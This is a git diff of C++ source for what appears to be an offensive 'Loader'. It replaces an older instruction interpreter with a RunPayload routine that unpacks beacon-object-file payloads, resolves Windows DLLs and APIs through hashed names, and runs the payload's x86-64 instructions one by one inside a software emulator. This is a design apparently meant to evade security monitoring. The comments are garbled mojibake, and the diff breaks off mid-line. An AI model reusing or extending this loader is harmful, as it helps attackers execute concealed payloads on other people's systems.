pVtRegs[8]; - DWORD_PTR vtR11 = pVtRegs[9]; - DWORD_PTR vtR12 = pVtRegs[10]; - DWORD_PTR vtR13 = pVtRegs[11]; - DWORD_PTR vtR14 = pVtRegs[12]; - DWORD_PTR vtR15 = pVtRegs[13]; - DWORD_PTR vtRSP = pVtRegs[14]; - DWORD_PTR vtRBP = pVtRegs[15]; - __asm { - mov rax, vtRAX - mov rbx, vtRBX - mov rcx, vtRCX - mov rdx, vtRDX - mov rsi, vtRSI - mov rdi, vtRDI - mov r8, vtR8 - mov r9, vtR9 - mov r10, vtR10 - mov r11, vtR11 - mov r12, vtR12 - mov r13, vtR13 - mov r14, vtR14 - mov r15, vtR15 - mov rsp, vtRSP - // mov rbp, vtRBP (�� Call ��ͻ) - } - - // ���� Windows API - __asm { - call qword ptr[winApiAddr] // (call qword ptr [rbp]) - } - - // �������� Windows API ����ɻ�Ĵ�����ֵ - __asm { - push rax - push rbx - push rcx - push rdx - push rsi - push rdi - push r8 - push r9 - push r10 - push r11 - push r12 - push r13 - push r14 - push r15 - push rsp - push rbp - } - - // ��ɻ�Ĵ��� ���� �����Ĵ��� - DWORD_PTR currentRSP; - __asm { - mov currentRSP, rsp; - } - pVtRegs[0] = *(PDWORD_PTR)(currentRSP + 0x78); // RAX - pVtRegs[1] = *(PDWORD_PTR)(currentRSP + 0x70); // RBX - pVtRegs[2] = *(PDWORD_PTR)(currentRSP + 0x68); // RCX - pVtRegs[3] = *(PDWORD_PTR)(currentRSP + 0x60); // RDX - pVtRegs[4] = *(PDWORD_PTR)(currentRSP + 0x58); // RSI - pVtRegs[5] = *(PDWORD_PTR)(currentRSP + 0x50); // RDI - pVtRegs[6] = *(PDWORD_PTR)(currentRSP + 0x48); // R8 - pVtRegs[7] = *(PDWORD_PTR)(currentRSP + 0x40); // R9 - pVtRegs[8] = *(PDWORD_PTR)(currentRSP + 0x38); // R10 - pVtRegs[9] = *(PDWORD_PTR)(currentRSP + 0x30); // R11 - pVtRegs[10] = *(PDWORD_PTR)(currentRSP + 0x28); // R12 - pVtRegs[11] = *(PDWORD_PTR)(currentRSP + 0x20); // R13 - pVtRegs[12] = *(PDWORD_PTR)(currentRSP + 0x18); // R14 - pVtRegs[13] = *(PDWORD_PTR)(currentRSP + 0x10); // R15 - pVtRegs[14] = *(PDWORD_PTR)(currentRSP + 0x08) + 0x70; // RSP - pVtRegs[15] = *(PDWORD_PTR)(currentRSP + 0x00); // RBP - - // ��ԭ��ɻջ��ջ�� - __asm { - mov rsp, realRSP - mov rbp, realRBP - } -} - -void Ret(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { } - -void Mov(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - switch (opBit1) - { - case 'q': - *(PDWORD64)opAddr1 = *(PDWORD64)opAddr2; - break; - case 'd': - if (opType1 == 'r') { - *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr2; - } - else { - *(PDWORD)opAddr1 = *(PDWORD)opAddr2; - } - break; - case 'w': - *(PWORD)opAddr1 = *(PWORD)opAddr2; - break; - case 'b': - *(PBYTE)opAddr1 = *(PBYTE)opAddr2; - break; - } -} - -void Movsxd(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - *(PDWORD64)opAddr1 = *(PDWORD)opAddr2; -} - -void Lea(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - Mov(opType1, opBit1, opAddr1, opBit2, opAddr2); -} - -void Add(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - switch (opBit1) - { - case 'q': - *(PDWORD64)opAddr1 += *(PDWORD64)opAddr2; - break; - case 'd': - if (opType1 == 'r') { - *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr1 + *(PDWORD)opAddr2; - } - else { - *(PDWORD)opAddr1 += *(PDWORD)opAddr2; - } - break; - case 'w': - *(PWORD)opAddr1 += *(PWORD)opAddr2; - break; - case 'b': - *(PBYTE)opAddr1 += *(PBYTE)opAddr2; - break; - } -} - -void Inc(char opType1, char opBit1, DWORD_PTR opAddr1) { - switch (opBit1) - { - case 'q': - *(PDWORD64)opAddr1 += 1; - break; - case 'd': - if (opType1 == 'r') { - *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr1 + 1; - } - else { - *(PDWORD)opAddr1 += 1; - } - break; - case 'w': - *(PWORD)opAddr1 += 1; - break; - case 'b': - *(PBYTE)opAddr1 += 1; - break; - } -} - -void Sub(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - switch (opBit1) - { - case 'q': - *(PDWORD64)opAddr1 -= *(PDWORD64)opAddr2; - break; - case 'd': - if (opType1 == 'r') { - *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr1 - *(PDWORD)opAddr2; - } - else { - *(PDWORD)opAddr1 -= *(PDWORD)opAddr2; - } - break; - case 'w': - *(PWORD)opAddr1 -= *(PWORD)opAddr2; - break; - case 'b': - *(PBYTE)opAddr1 -= *(PBYTE)opAddr2; - break; - } -} - -void Cmp(char opBit1, PDWORD_PTR pVtRegs) { - DWORD_PTR vtEFL; - switch (opBit1) - { - case 'q': - __asm { - cmp r10, r11 - pushf - pop rax - mov vtEFL, rax - } - break; - case 'd': - __asm { - cmp r10d, r11d - pushf - pop rax - mov vtEFL, rax - } - break; - case 'w': - __asm { - cmp r10w, r11w - pushf - pop rax - mov vtEFL, rax - } - break; - case 'b': - __asm { - cmp r10b, r11b - pushf - pop rax - mov vtEFL, rax - } - break; - } - pVtRegs[17] = vtEFL; -} - -void Xor(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) { - switch (opBit1) - { - case 'q': - *(PDWORD64)opAddr1 ^= *(PDWORD64)opAddr2; - break; - case 'd': - if (opType1 == 'r') { - *(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr1 ^ *(PDWORD)opAddr2; - } - else { - *(PDWORD)opAddr1 ^= *(PDWORD)opAddr2; - } - break; - case 'w': - *(PWORD)opAddr1 ^= *(PWORD)opAddr2; - break; - case 'b': - *(PBYTE)opAddr1 ^= *(PBYTE)opAddr2; - break; - } -} - -void Test(char opBit1, PDWORD_PTR pVtRegs) { - DWORD_PTR vtEFL; - switch (opBit1) - { - case 'q': - __asm { - test r10, r11 - pushf - pop rax - mov vtEFL, rax - } - break; - case 'd': - __asm { - test r10d, r11d - pushf - pop rax - mov vtEFL, rax - } - break; - case 'w': - __asm { - test r10w, r11w - pushf - pop rax - mov vtEFL, rax - } - break; - case 'b': - __asm { - test r10b, r11b - pushf - pop rax - mov vtEFL, rax - } - break; - } - pVtRegs[17] = vtEFL; -} - -void Cdqe(PDWORD_PTR pVtRegs) { - pVtRegs[0] = (DWORD)pVtRegs[0]; -} - -void RepStosb(PDWORD_PTR pVtRegs) { - while (pVtRegs[2]) { // vtRCX - *(PBYTE)pVtRegs[5] = *(PBYTE)&pVtRegs[0]; // byte ptr [vtRDI] = al - pVtRegs[5]++; - pVtRegs[2]--; - } -} - -int Jmp(DWORD_PTR vtEFL) { - return 1; -} - -int Je(DWORD_PTR vtEFL) { - int isJmp = 1; - __asm { - mov rax, vtEFL - push rax - popf - je jmp - mov isJmp, 0x00 - jmp : - } - return isJmp; -} - -int Jne(DWORD_PTR vtEFL) { - int isJmp = 1; - __asm { - mov rax, vtEFL - push rax - popf - jne jmp - mov isJmp, 0x00 - jmp : - } - return isJmp; -} - -int Jle(DWORD_PTR vtEFL) { - int isJmp = 1; - __asm { - mov rax, vtEFL - push rax - popf - jle jmp - mov isJmp, 0x00 - jmp : - } - return isJmp; -} - -void Jcc(PVOID instructionFunc, DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) { - DWORD_PTR vtEFL = pVtRegs[17]; - int isJmp = ((int(*)(...))instructionFunc)(vtEFL); - if (isJmp) { - DWORD_PTR vtRIP = *(PDWORD_PTR)opAddr1; - pVtRegs[16] = vtRIP; - } -} - -// ����ָ�� -int InvokeInstruction(int mnemonicIndex, char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2, PDWORD_PTR pVtRegs) { - PVOID mnemonicMapping[] = { Push, Pop, Call, Ret, Mov, Movsxd, Lea, Add, Inc, Sub, Cmp, Xor, Test, Cdqe, RepStosb, Jmp, Je, Jne, Jle }; - PVOID instructionFunc = mnemonicMapping[mnemonicIndex]; - DWORD_PTR vtRIP = pVtRegs[16]; - - // ����ָ��� - // Push - Ret - if (mnemonicIndex < 4) { - ((void(*)(...))instructionFunc)(opAddr1, pVtRegs); - } - else if (instructionFunc == Cmp || instructionFunc == Test) { - __asm { - mov r8, qword ptr[opAddr1] - mov r9, qword ptr[opAddr2] - mov r10, qword ptr[r8] - mov r11, qword ptr[r9] - } - ((void(*)(...))instructionFunc)(opBit1, pVtRegs); - } - else if (instructionFunc == Cdqe || instructionFunc == RepStosb) { - ((void(*)(...))instructionFunc)(pVtRegs); - } - // Jcc - else if (mnemonicIndex> 14) { - Jcc(instructionFunc, opAddr1, pVtRegs); - } - // ����һ����������ָ�� - else if (opAddr2 == NULL) { - ((void(*)(...))instructionFunc)(opType1, opBit1, opAddr1); - } - // ����������������ָ�� - else { - ((void(*)(...))instructionFunc)(opType1, opBit1, opAddr1, opBit2, opAddr2); - } - - // ������ת - if (pVtRegs[16] != vtRIP) { - return 1; - } - return 0; -} \ No newline at end of file diff --git a/Loader/Instruction.h b/Loader/Instruction.h deleted file mode 100644 index 304becd..0000000 --- a/Loader/Instruction.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -int InvokeInstruction(int mnemonicIndex, char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2, PDWORD_PTR pVtRegs); \ No newline at end of file diff --git a/Loader/Interpreter.cpp b/Loader/Interpreter.cpp index d1d6dbb..bda2a58 100644 --- a/Loader/Interpreter.cpp +++ b/Loader/Interpreter.cpp @@ -1,207 +1,80 @@ -#include -#include +#include "Interpreter.h" -#include "Instruction.h" +PVOID pVtStack = NULL; -using namespace std; +int dllLoadNum = 0; +int* dllHashList = NULL; +HMODULE* dllAddrList = NULL; -// ���� (δ���ǡ�*��) -DWORD_PTR calculate(DWORD_PTR number1, DWORD_PTR number2, char symbol) { - switch (symbol) - { - case '+': - return number1 + number2; - case '-': - return number1 - number2; +int winApiGetNum = 0; +int* winApiHashList = NULL; +PVOID* winApiPtrList = NULL; + +__declspec(noinline) int GetHash(char* string, int length); +__declspec(noinline) DWORD_PTR Calculate(DWORD_PTR number1, DWORD_PTR number2, char symbol); +__declspec(noinline) DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, DWORD_PTR vtRegs[], DWORD_PTR* pOpNumber); +__declspec(noinline) int TextReloc(char* op, char* textRelocNames, PVOID pRdata, int& relocIndex); +__declspec(noinline) int InvokeInstruction(BYTE mnemonicIndex, char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2, DWORD_PTR vtRegs[]); + +#pragma code_seg(".shell") + +int RunPayload(PBYTE pPayload, int payloadSize, int bofFuncHash, char* commandPara, int commandParaLen, char*& outputData, int& outputDataLen, PVOID specialParaList[]) { + // ���� Payload + if (payloadSize < sizeof(WORD)) { + return 0; } -} + WORD bofFuncOffsetMapLen = *(PWORD)pPayload; + PBYTE pBofFuncOffsetMap = pPayload + sizeof(WORD); + if (payloadSize < sizeof(WORD) * 2 + bofFuncOffsetMapLen) { + return 0; + } + WORD textRelocNamesLen = *(PWORD)(pBofFuncOffsetMap + bofFuncOffsetMapLen); + char* textRelocNames = (char*)pBofFuncOffsetMap + bofFuncOffsetMapLen + sizeof(WORD); + if (payloadSize < sizeof(WORD) * 3 + bofFuncOffsetMapLen + textRelocNamesLen) { + return 0; + } + WORD selfAsmLen = *(PWORD)(textRelocNames + textRelocNamesLen); + char* selfAsm = textRelocNames + textRelocNamesLen + sizeof(WORD); + if (payloadSize < sizeof(WORD) * 3 + bofFuncOffsetMapLen + textRelocNamesLen + selfAsmLen) { + return 0; + } + PVOID pRdata = selfAsm + selfAsmLen; -// ������ʽ (δ���ǡ�*��) -void ParseFormula(char* op, char** pFormula, char** symbols) { - int n = 1; - int opLength = strlen(op); - for (int i = 0; i < opLength; i++) { - switch (op[i]) - { - case '+': - pFormula[n] = symbols[0]; - *(op + i) = '0円'; - n += 2; - break; - case '-': - pFormula[n] = symbols[1]; - *(op + i) = '0円'; - n += 2; + // ���� BOF ����������ַ + WORD bofFuncVtAddr = 0xFFFF; + for (int i = 0; i < bofFuncOffsetMapLen; i += 6) { + if (*(int*)(pBofFuncOffsetMap + i) == bofFuncHash) { + bofFuncVtAddr = *(PWORD)(pBofFuncOffsetMap + i + sizeof(int)); break; } } - n = 0; - for (int i = 0; i < opLength; i += strlen(op + i) + 1) { - pFormula[n] = op + i; - n += 2; + if (bofFuncVtAddr == 0xFFFF) { + return 0; } -} -// ��ȡ������ֵ�� ����(r�Ĵ���/m�ڴ��ռ�) + ��ַ -DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, PDWORD_PTR pVtRegs, PDWORD_PTR opNumber) { - char* endPtr; - char tempOp[10] = ""; - char* symbols[] = { (char*)"+", (char*)"-" }; - char* formula[] = { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; - - // ������ - if (op[0] == 'i') { - *opNumber = strtol(op + 1, &endPtr, 16); - return (DWORD_PTR)opNumber; - } - // lea [] / ptr [] - else if (op[0] == 'l' || op[0] == 'p') { - // ���������� (������ʽ���̻ᵼ�±仯) - strcpy(tempOp, op); - // ������ʽ (δ���ǡ�*��) - ParseFormula(op + 1, formula, symbols); - // ���� (δ���ǡ�*��) - DWORD_PTR number1 = 0; - DWORD_PTR number2; - char symbol = '+'; - for (int i = 0; formula[i] != NULL; i++) { - switch (formula[i][0]) - { - case 'i': - DWORD_PTR tempNumber; // �洢���� - GetOpTypeAndAddr(formula[i], NULL, pVtRegs, &tempNumber); - number1 = calculate(number1, tempNumber, symbol); - break; - case 'q': - number2 = *(PDWORD64)GetOpTypeAndAddr(formula[i], NULL, pVtRegs, NULL); - number1 = calculate(number1, number2, symbol); - break; - case 'd': - number2 = *(PDWORD)GetOpTypeAndAddr(formula[i], NULL, pVtRegs, NULL); - number1 = calculate(number1, number2, symbol); - break; - case 'w': - number2 = *(PWORD)GetOpTypeAndAddr(formula[i], NULL, pVtRegs, NULL); - number1 = calculate(number1, number2, symbol); - break; - case 'b': - number2 = *(PBYTE)GetOpTypeAndAddr(formula[i], NULL, pVtRegs, NULL); - number1 = calculate(number1, number2, symbol); - break; - case '+': - symbol = '+'; - break; - case '-': - symbol = '-'; - break; - } - } - // ��ԭ������ - strcpy(op, tempOp); - // lea [] - if (op[0] == 'l') { - *opNumber = number1; - return (DWORD_PTR)opNumber; - } - // ptr [] - if (pOpType1 != NULL) { - *pOpType1 = 'm'; + // .text �ض�λ + int relocIndex = 0; + for (int offset = 0; offset < selfAsmLen;) { + offset += 4; + char* op1 = selfAsm + offset; + offset += strlen(op1) + 2; + char* op2 = selfAsm + offset; + offset += strlen(op2) + 1; + if (!TextReloc(op1, textRelocNames, pRdata, relocIndex)) { + return 0; } - return number1; - } - // �Ĵ��� - else { - if (pOpType1 != NULL) { - *pOpType1 = 'r'; + if (!TextReloc(op2, textRelocNames, pRdata, relocIndex)) { + return 0; } - return (DWORD_PTR)pVtRegs + strtol(op + 1, &endPtr, 16); } -} -// �����Զ������� -void ParseSelfAsm(char* selfAsm, PDWORD_PTR pVtRegs) { - int selfAsmLength = strlen(selfAsm); - for (int i = 0; i < selfAsmLength; i++) { - if (selfAsm[i] == '_') { - *(selfAsm + i) = '0円'; - } - } - - // �������� - int i = 0; - int j = 0; - char* endPtr; - int vtAddrMapping[1000]; // n -> vtAddr - int numMapping[1000]; // vtAddr -> n - int mnemonicIndexMapping[1000]; // vtAddr -> mnemonicIndex - char* opBit1Mapping[1000]; // vtAddr -> opBit1 - char* op1Mapping[1000]; // vtAddr -> op1 - char* opBit2Mapping[1000]; // vtAddr -> opBit2 - char* op2Mapping[1000]; // vtAddr -> op2 - while (selfAsm[i] != '!') { - // vtAddr - DWORD_PTR vtAddr = strtol(selfAsm + i, &endPtr, 16); - i += strlen(selfAsm + i) + 1; - vtAddrMapping[j] = vtAddr; - numMapping[vtAddr] = j; - j++; - - // ���Ƿ����� - mnemonicIndexMapping[vtAddr] = atoi(selfAsm + i); - i += strlen(selfAsm + i) + 1; - - // ������1 λ�� - opBit1Mapping[vtAddr] = selfAsm + i; - i += strlen(selfAsm + i) + 1; - - // ������1 - op1Mapping[vtAddr] = selfAsm + i; - i += strlen(selfAsm + i) + 1; - - // ������2 λ�� - opBit2Mapping[vtAddr] = selfAsm + i; - i += strlen(selfAsm + i) + 1; - - // ������1 - op2Mapping[vtAddr] = selfAsm + i; - i += strlen(selfAsm + i) + 1; - } - - // ����ִ�� - for (int i = 0; i < j; i++) { - DWORD_PTR vtAddr = pVtRegs[16] = vtAddrMapping[i]; - - int mnemonicIndex = mnemonicIndexMapping[vtAddr]; - char* opBit1 = opBit1Mapping[vtAddr]; - char* op1 = op1Mapping[vtAddr]; - char* opBit2 = opBit2Mapping[vtAddr]; - char* op2 = op2Mapping[vtAddr]; - - // ��ȡ������������ ����(r�Ĵ���/m�ڴ��ռ�) + ��ַ - char opType1; - DWORD_PTR opAddr1 = NULL; - DWORD_PTR opAddr2 = NULL; - DWORD_PTR opNumber; // �洢���� - if (strlen(op1)) { - opAddr1 = GetOpTypeAndAddr(op1, &opType1, pVtRegs, &opNumber); - } - if (strlen(op2)) { - opAddr2 = GetOpTypeAndAddr(op2, NULL, pVtRegs, &opNumber); - } - - // ����ָ�� - if (InvokeInstruction(mnemonicIndex, opType1, opBit1[0], opAddr1, opBit2[0], opAddr2, pVtRegs)) { - i = numMapping[pVtRegs[16]]; // Jcc ָ����ת - i--; + // ��������ջ + if (pVtStack == NULL) { + pVtStack = malloc(0x10000); + if (pVtStack == NULL) { + return 0; } } -} - -// ħ������ -void MagicInvoke(char* selfAsm, char* commandPara, char** pCommandOutput, int* pCommandOutputLength, PVOID* pFuncAddr) { - // ��������ջ - PVOID vtStack = malloc(0x10000); - // ���������Ĵ��� /* * 0 RAX @@ -223,25 +96,661 @@ void MagicInvoke(char* selfAsm, char* commandPara, char** pCommandOutput, int* p * 16 RIP * 17 EFL */ - DWORD_PTR vtRegs[18] = { 0 }; - vtRegs[14] = vtRegs[15] = (DWORD_PTR)vtStack + 0x9000; - - // ���������Ĵ����ij�ֵ + DWORD_PTR vtRegs[18]; + vtRegs[14] = vtRegs[15] = (DWORD_PTR)pVtStack + 0x9000; + // ��ʼ�������Ĵ��� /* - * ShellCode(commandPara, pCommandOutput, pCommandOutputLength, pFuncAddr); - * mov r9,qword ptr [pFuncAddr] - * mov r8,qword ptr [pCommandOutputLength] - * mov rdx,qword ptr [pCommandOutput] - * mov rcx,qword ptr [commandPara] - * call ShellCode + * BofFunc(commandPara, commandParaLen, &outputData, &outputDataLen, specialParaList); + * lea rax, [specialParaList] + * mov qword ptr [rsp+20h], rax + * lea r9, [outputDataLen] + * lea r8, [outputData] + * mov edx, dword ptr [commandParaLen] + * lea rcx, [commandPara] + * call BofFunc */ - vtRegs[7] = (DWORD_PTR)pFuncAddr; - vtRegs[6] = (DWORD_PTR)pCommandOutputLength; - vtRegs[3] = (DWORD_PTR)pCommandOutput; + vtRegs[0] = (DWORD_PTR)specialParaList; + *(PDWORD_PTR)(vtRegs[14] + 0x20) = vtRegs[0]; + vtRegs[7] = (DWORD_PTR)&outputDataLen; + vtRegs[6] = (DWORD_PTR)&outputData; + vtRegs[3] = commandParaLen; vtRegs[2] = (DWORD_PTR)commandPara; - vtRegs[14] = vtRegs[14] - sizeof(DWORD_PTR); + vtRegs[14] -= sizeof(DWORD_PTR); + *(PDWORD_PTR)vtRegs[14] = 0xFFFFFFFFFFFFFFFF; + + // ���� BOF ���� + WORD targetVtAddr = 0xFFFF; + for (int offset = 0; offset < selfAsmLen;) { + WORD vtAddr = *(PWORD)(selfAsm + offset); + offset += sizeof(WORD); + if (vtAddr == bofFuncVtAddr) { + targetVtAddr = vtAddr; + bofFuncVtAddr = 0xFFFF; + } + + BYTE mnemonicIndex = *(PBYTE)(selfAsm + offset); + offset += sizeof(BYTE); + char opBit1 = *(char*)(selfAsm + offset); + offset += sizeof(char); + char* op1 = selfAsm + offset; + offset += strlen(op1) + 1; + char opBit2 = *(char*)(selfAsm + offset); + offset += sizeof(char); + char* op2 = selfAsm + offset; + offset += strlen(op2) + 1; - // �����Զ������� - ParseSelfAsm(selfAsm, vtRegs); - free(vtStack); + if (vtAddr>= targetVtAddr) { + vtRegs[16] = vtAddr; + // ��ȡ������������ Type(i������/r�Ĵ���/m�ڴ��ռ�) �� ��ַ + char opType1 = NULL; + DWORD_PTR opAddr1 = NULL; + DWORD_PTR opAddr2 = NULL; + DWORD_PTR opNumber = NULL; + if (*op1 != '0円') { + opAddr1 = GetOpTypeAndAddr(op1, &opType1, vtRegs, &opNumber); + if (opAddr1 == NULL || opType1 == NULL) { + return 0; + } + } + else if (*op2 != '0円') { + return 0; + } + if (*op2 != '0円') { + opAddr2 = GetOpTypeAndAddr(op2, NULL, vtRegs, &opNumber); + if (opAddr2 == NULL) { + return 0; + } + } + // ����ָ�� + // printf("vtAddr: 0x%llx, mnemonicIndex: %d, opBit1: %c, op1: %s, opBit2: %c, op2: %s\n", vtAddr, mnemonicIndex, opBit1, op1, opBit2, op2); + int isJmp = InvokeInstruction(mnemonicIndex, opType1, opBit1, opAddr1, opBit2, opAddr2, vtRegs); + if (isJmp == 2) { + return 0; + } + else if (isJmp) { + if (vtRegs[16] == 0xFFFFFFFFFFFFFFFF) { + return 1; + } + targetVtAddr = vtRegs[16]; + offset = 0; + } + // printf("RAX: 0x%llx\nRBX: 0x%llx\nRCX: 0x%llx\nRDX: 0x%llx\nRSI: 0x%llx\nRDI: 0x%llx\nR8: 0x%llx\nR9: 0x%llx\nR10: 0x%llx\nR11: 0x%llx\nR12: 0x%llx\nR13: 0x%llx\nR14: 0x%llx\nR15: 0x%llx\nRSP: 0x%llx\nRBP: 0x%llx\nRIP: 0x%llx\nELF: 0x%llx\n", vtRegs[0], vtRegs[1], vtRegs[2], vtRegs[3], vtRegs[4], vtRegs[5], vtRegs[6], vtRegs[7], vtRegs[8], vtRegs[9], vtRegs[10], vtRegs[11], vtRegs[12], vtRegs[13], vtRegs[14], vtRegs[15], vtRegs[16], vtRegs[17]); + // printf("\n"); + } + } + return 0; +} + +__declspec(noinline) int GetHash(char* string, int length) { + int hash = 0; + for (int i = 0; i < length; i++) { + hash += string[i]; + hash = (hash << 8) - hash; + } + return hash; +} + +// ���� (δ���ǡ�*��) +__declspec(noinline) DWORD_PTR Calculate(DWORD_PTR number1, DWORD_PTR number2, char symbol) { + if (symbol == '+') { + return number1 + number2; + } + else { + return number1 - number2; + } +} + +// ��ȡ������ֵ�� ����(i������/r�Ĵ���/m�ڴ��ռ�) �� ��ַ +__declspec(noinline) DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, DWORD_PTR vtRegs[], DWORD_PTR* pOpNumber) { + // ������ + if (*op == 'i') { + if (pOpNumber == NULL) { + return NULL; + } + char* endPtr; + *pOpNumber = strtoull(op + 1, &endPtr, 16); + if (*endPtr != '0円') { + return NULL; + } + if (pOpType1 != NULL) { + *pOpType1 = 'i'; + } + return (DWORD_PTR)pOpNumber; + } + // lea [] / ptr [] + else if (*op == 'l' || *op == 'p') { + // ���� (δ���ǡ�*��) + int formulaLen = 1; + while (op[formulaLen] != '0円') { + if (op[formulaLen] == '+' || op[formulaLen] == '-') { + op[formulaLen] = '0円'; + formulaLen++; + } + formulaLen++; + } + char symbol = '+'; + DWORD_PTR number1 = 0; + DWORD_PTR number2 = NULL; + DWORD_PTR tempNumber = NULL; + for (int i = 1; i < formulaLen;) { + if (op[i] == 'i' || op[i] == 'q' || op[i] == 'd' || op[i] == 'w' || op[i] == 'b') { + number2 = GetOpTypeAndAddr(op + i, NULL, vtRegs, &tempNumber); + if (number2 == NULL) { + return NULL; + } + if (op[i] == 'i') { + number1 = Calculate(number1, *(PDWORD_PTR)number2, symbol); + } + else if (op[i] == 'q') { + number1 = Calculate(number1, *(PDWORD64)number2, symbol); + } + else if (op[i] == 'd') { + number1 = Calculate(number1, *(PDWORD)number2, symbol); + } + else if (op[i] == 'w') { + number1 = Calculate(number1, *(PWORD)number2, symbol); + } + else if (op[i] == 'b') { + number1 = Calculate(number1, *(PBYTE)number2, symbol); + } + i += strlen(op + i) + 1; + } + else if (op[i] == '+' || op[i] == '-') { + symbol = op[i]; + op[i - 1] = symbol; + i++; + } + else { + return NULL; + } + } + // lea [] + if (*op == 'l') { + if (pOpNumber == NULL) { + return NULL; + } + *pOpNumber = number1; + return (DWORD_PTR)pOpNumber; + } + // ptr [] + if (pOpType1 != NULL) { + *pOpType1 = 'm'; + } + return number1; + } + // �Ĵ��� + else if (*op == 'q' || *op == 'd' || *op == 'w' || *op == 'b') { + char* endPtr; + DWORD_PTR offset = strtoull(op + 1, &endPtr, 16); + if (*endPtr != '0円') { + return NULL; + } + if (pOpType1 != NULL) { + *pOpType1 = 'r'; + } + return (DWORD_PTR)vtRegs + offset; + } + return NULL; +} + +__declspec(noinline) int TextReloc(char* op, char* textRelocNames, PVOID pRdata, int& relocIndex) { + if (dllHashList == NULL) { + dllHashList = (int*)malloc(1000 * sizeof(int)); + dllAddrList = (HMODULE*)malloc(1000 * sizeof(HMODULE)); + winApiHashList = (int*)malloc(1000 * sizeof(int)); + winApiPtrList = (PVOID*)malloc(1000 * sizeof(PVOID)); + if (dllHashList == NULL || dllAddrList == NULL || winApiHashList == NULL || winApiPtrList == NULL) { + return 0; + } + } + else if (dllLoadNum>= 1000 || winApiGetNum>= 1000) { + return 0; + } + char* rip = strchr(op, 'r'); // r0000000000000000 + if (rip != NULL && *(PDWORD_PTR)(rip + 1) == 0x3030303030303030) { + char end = rip[17]; + for (int count = 0; count < relocIndex; textRelocNames++) { + if (*textRelocNames == '0円') { + count++; + } + } + char* format = "i%016llx"; + if (GetHash(textRelocNames, strlen(textRelocNames)) == -1394134574) { // .rdata + sprintf_s(rip, 18, format, (DWORD_PTR)pRdata); + } + else { + char* dollar = strchr(textRelocNames, '$'); + if (dollar != NULL) { + *dollar = '0円'; + // DLL + int isExist = 0; + HMODULE hDll = NULL; + int dllHash = GetHash(textRelocNames, strlen(textRelocNames)); + for (int i = 0; i < dllLoadNum; i++) { + if (dllHashList[i] == dllHash) { + isExist = 1; + hDll = dllAddrList[i]; + break; + } + } + if (!isExist) { + if (dllHash == -1499897628) { // Kernel32 + hDll = GetModuleHandleA(textRelocNames); + } + else { + hDll = LoadLibraryA(textRelocNames); + } + dllHashList[dllLoadNum] = dllHash; + dllAddrList[dllLoadNum] = hDll; + dllLoadNum++; + } + if (hDll == NULL) { + return 0; + } + // Windows Api + isExist = 0; + PVOID pWinApi; + int winApiHash = GetHash(dollar + 1, strlen(dollar + 1)); + for (int i = 0; i < winApiGetNum; i++) { + if (winApiHashList[i] == winApiHash) { + isExist = 1; + pWinApi = winApiPtrList[i]; + break; + } + } + if (!isExist) { + DWORD_PTR winApiAddr = (DWORD_PTR)GetProcAddress(hDll, dollar + 1); + pWinApi = malloc(sizeof(DWORD_PTR)); + if (winApiAddr == NULL || pWinApi == NULL) { + return 0; + } + *(PDWORD_PTR)pWinApi = winApiAddr; + winApiHashList[winApiGetNum] = winApiHash; + winApiPtrList[winApiGetNum] = pWinApi; + winApiGetNum++; + } + *dollar = '$'; + sprintf_s(rip, 18, format, (DWORD_PTR)pWinApi); + } + else { + return 0; + } + } + rip[17] = end; + relocIndex++; + } + return 1; +} + +__declspec(noinline) int InvokeInstruction(BYTE mnemonicIndex, char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2, DWORD_PTR vtRegs[]) { + const int pushIndex = 0, popIndex = 1, callIndex = 2, retIndex = 3, movzxIndex = 4, movsxdIndex = 5, cmpIndex = 6, testIndex = 7, shlIndex = 8, shrIndex = 9, nopIndex = 10, movIndex = 11, movabsIndex = 12, leaIndex = 13, addIndex = 14, incIndex = 15, subIndex = 16, decIndex = 17, andIndex = 18, orIndex = 19, xorIndex = 20, jmpIndex = 21, jeIndex = 22, jneIndex = 23, jbeIndex = 24, jlIndex = 25, jgeIndex = 26, jleIndex = 27; + if (mnemonicIndex < 0 || mnemonicIndex> 27) { + return 2; + } + DWORD_PTR vtRIP = vtRegs[16]; + + if (mnemonicIndex>= jmpIndex) { + __asm { + mov r14, 0x01 + mov r15, qword ptr[vtRegs] + mov r15, qword ptr[r15 + 0x88] // vtEFL + } + if (mnemonicIndex == jeIndex) { + __asm { + push r15 + popf + je isJmp + mov r14, 0x00 + isJmp: + } + } + else if (mnemonicIndex == jneIndex) { + __asm { + push r15 + popf + jne isJmp + mov r14, 0x00 + isJmp: + } + } + else if (mnemonicIndex == jbeIndex) { + __asm { + push r15 + popf + jbe isJmp + mov r14, 0x00 + isJmp: + } + } + else if (mnemonicIndex == jlIndex) { + __asm { + push r15 + popf + jl isJmp + mov r14, 0x00 + isJmp: + } + } + else if (mnemonicIndex == jgeIndex) { + __asm { + push r15 + popf + jge isJmp + mov r14, 0x00 + isJmp: + } + } + else if (mnemonicIndex == jleIndex) { + __asm { + push r15 + popf + jle isJmp + mov r14, 0x00 + isJmp: + } + } + __asm { + cmp r14, 0x01 + jne notJmp + mov rax, qword ptr[opAddr1] + mov rcx, qword 